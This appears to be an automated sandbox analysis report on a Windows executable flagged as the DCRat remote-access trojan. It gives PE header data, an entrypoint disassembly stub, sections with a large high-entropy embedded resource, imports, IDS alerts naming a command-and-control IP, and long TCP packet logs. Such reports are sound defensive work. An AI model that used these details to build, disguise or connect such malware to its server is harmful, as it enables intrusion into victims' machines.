OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d5d9d937853db8b666bd4b525813d7bd

Entrypoint Preview

Instruction
call 00007F3E6082F7B1h
mov dword ptr [0040300Bh], eax
push 00000000h
call 00007F3E6082F7BDh
mov dword ptr [00403013h], eax
call 00007F3E6082F7BFh
mov dword ptr [00403C70h], eax
push 0000000Ah
push dword ptr [0040300Bh]
push 00000000h
push dword ptr [00403013h]
call 00007F3E6082EC3Fh
push 00000000h
call 00007F3E6082F768h
int3
jmp dword ptr [0040207Ch]
jmp dword ptr [00402008h]
jmp dword ptr [0040200Ch]
jmp dword ptr [00402010h]
jmp dword ptr [00402014h]
jmp dword ptr [00402018h]
jmp dword ptr [0040201Ch]
jmp dword ptr [00402020h]
jmp dword ptr [00402024h]
jmp dword ptr [00402028h]
jmp dword ptr [0040202Ch]
jmp dword ptr [00402030h]
jmp dword ptr [00402034h]
jmp dword ptr [00402038h]
jmp dword ptr [0040203Ch]
jmp dword ptr [00402040h]
jmp dword ptr [00402044h]
jmp dword ptr [00402048h]
jmp dword ptr [0040204Ch]
jmp dword ptr [00402050h]
jmp dword ptr [00402054h]
jmp dword ptr [00402058h]
jmp dword ptr [00402000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20bc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0xb6ff80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xbc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc26	0xe00	a941ede160cf12509be8dd37ae2b6a57	False	0.47935267857142855	data	5.1463325678068115	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x4c0	0x600	930587e8eece4537e4be6a4476dc03fa	False	0.4055989583333333	data	4.212357479426224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0xd6f0	0x600	7f95694b637a8e9d84e496462c4af938	False	0.16927083333333334	data	1.7255508052001818	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x11000	0xb6ff80	0xb70000	1a46363c052c3a29a2d7d7b389cfff84	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMAGE	0x110dc	0x42	PC bitmap, Windows 3.x format, 1 x 1 x 1, image size 4, cbSize 66, bits offset 62	English	United States	0.5151515151515151
RT_RCDATA	0x11120	0xb6fe08	data			0.996150016784668
RT_RCDATA	0xb80f28	0x57	data			0.8045977011494253

Imports

DLL	Import
shlwapi.dll	PathFindFileNameA
kernel32.dll	LockResource, lstrlenA, CloseHandle, CreateFileA, ExitProcess, FindResourceA, FreeResource, GetCommandLineA, GetEnvironmentVariableA, GetFileSize, GetModuleFileNameA, GetModuleHandleA, GetProcAddress, GetProcessHeap, GetSystemDirectoryA, GetTempPathA, GetWindowsDirectoryA, GlobalAlloc, GlobalFree, HeapAlloc, HeapFree, LoadLibraryA, LoadResource, lstrcpynA, RtlMoveMemory, SetFileAttributesA, SizeofResource, WriteFile, lstrcatA, lstrcpyA
user32.dll	CreateWindowExA, DefWindowProcA, DispatchMessageA, GetMessageA, LoadCursorA, LoadIconA, MessageBoxA, PostQuitMessage, RegisterClassExA, SendMessageA, ShowWindow, TranslateMessage, UpdateWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/20/24-19:07:57.302868	TCP	2850862	ETPRO TROJAN DCRat Initial Checkin Server Response M4	80	49743	5.101.152.137	192.168.2.5
06/20/24-19:08:57.911494	TCP	2850862	ETPRO TROJAN DCRat Initial Checkin Server Response M4	80	49750	5.101.152.137	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 19:07:10.596317053 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:10.596363068 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:10.596523046 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:10.611664057 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:10.611671925 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.415071964 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.415577888 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.487881899 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.487891912 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.488138914 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.535403967 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.620867968 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.668493032 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.940589905 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.940653086 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.940711021 CEST	443	49705	140.82.121.3	192.168.2.5
Jun 20, 2024 19:07:11.940738916 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.940787077 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.954885960 CEST	49705	443	192.168.2.5	140.82.121.3
Jun 20, 2024 19:07:11.966994047 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:11.967075109 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:11.967571974 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:11.967820883 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:11.967854977 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.431046009 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.431148052 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.432712078 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.432738066 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.432954073 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.434261084 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.476506948 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.538672924 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.538738012 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.538757086 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.538810968 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.538844109 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.538901091 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.539194107 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.539241076 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.539274931 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.539464951 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.539529085 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.539541006 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.540105104 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.540158987 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.540208101 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.540220976 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.540272951 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.555859089 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.597825050 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.628897905 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.628956079 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629026890 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629046917 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629173040 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629194021 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629230022 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.629230022 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.629254103 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629281998 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.629321098 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.629355907 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.629363060 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630048037 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630069017 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630111933 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.630120039 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630156040 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.630207062 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630889893 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630908012 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630945921 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.630954981 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.630987883 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.631030083 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.631309032 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.631331921 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.631371975 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.631377935 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.631416082 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.653983116 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.654036045 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.654110909 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.654129028 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.707324028 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.717709064 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719464064 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719470978 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719486952 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719532013 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.719547987 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719578028 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.719583988 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.719649076 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.720803976 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.720818996 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.720864058 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.720869064 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.720884085 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.747633934 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.747653961 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.747760057 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.747776031 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.800980091 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.803955078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.803966999 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.804054022 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.804090977 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.804117918 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.804168940 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.804169893 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.804972887 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.804981947 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.805041075 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.805054903 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.805141926 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.806725025 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.806744099 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.806812048 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.806824923 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.806885004 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.808382034 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.808398008 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.808465958 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.808479071 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.808551073 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.833755016 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.833771944 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.833862066 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.833875895 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.833933115 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902017117 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902034998 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902106047 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902115107 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902153969 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902473927 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902487993 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902543068 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902549028 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902586937 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902909040 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902921915 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.902971983 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.902976990 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.903018951 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.903708935 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.903731108 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.903783083 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.903788090 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.903822899 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.911881924 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.911897898 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.911961079 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.911964893 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912002087 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.912388086 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912401915 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912456036 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.912461042 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912492037 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.912903070 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912919044 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.912969112 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.912974119 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.913007975 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.921381950 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.921397924 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.921458006 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.921463013 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.921499014 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.989186049 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989200115 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989278078 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.989283085 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989324093 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.989890099 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989902973 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989958048 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.989963055 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.989993095 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.990408897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.990421057 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.990462065 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.990466118 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.990500927 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.990923882 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.990937948 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.990988016 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.990993023 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.991045952 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.991867065 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.991878986 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.991919994 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.991925001 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.991975069 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.992585897 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.992594004 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.992638111 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.992674112 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.992677927 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.992722034 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.992944002 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.992969036 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.992993116 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:12.992997885 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:12.993041039 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.008214951 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.008229017 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.008291006 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.008320093 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.008363008 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.075706959 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.075732946 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.075771093 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.075798988 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.075808048 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.075855017 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.076555014 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.076566935 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.076617956 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.076625109 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.076944113 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.077094078 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077110052 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077155113 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.077158928 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077193975 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.077697992 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077711105 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077765942 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.077769995 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.077805042 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.078337908 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.078351021 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.078398943 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.078403950 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.078433990 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.079106092 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079118967 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079164028 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.079169035 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079205990 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.079796076 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079811096 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079853058 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.079859018 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.079891920 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.100989103 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.101007938 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.101068974 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.101073980 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.101110935 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.271970987 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.271986961 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.272093058 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.272123098 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.272166014 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.272644043 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.272663116 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.272710085 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.272716045 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.272754908 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.273520947 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.273534060 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.273600101 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.273606062 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.273652077 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.274059057 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.274071932 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.274127960 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.274133921 CEST	443	49706	185.199.109.133	192.168.2.5
Jun 20, 2024 19:07:13.274168015 CEST	49706	443	192.168.2.5	185.199.109.133
Jun 20, 2024 19:07:13.274662018 CEST	443	49706	185.199.109.133	192.168.2.5
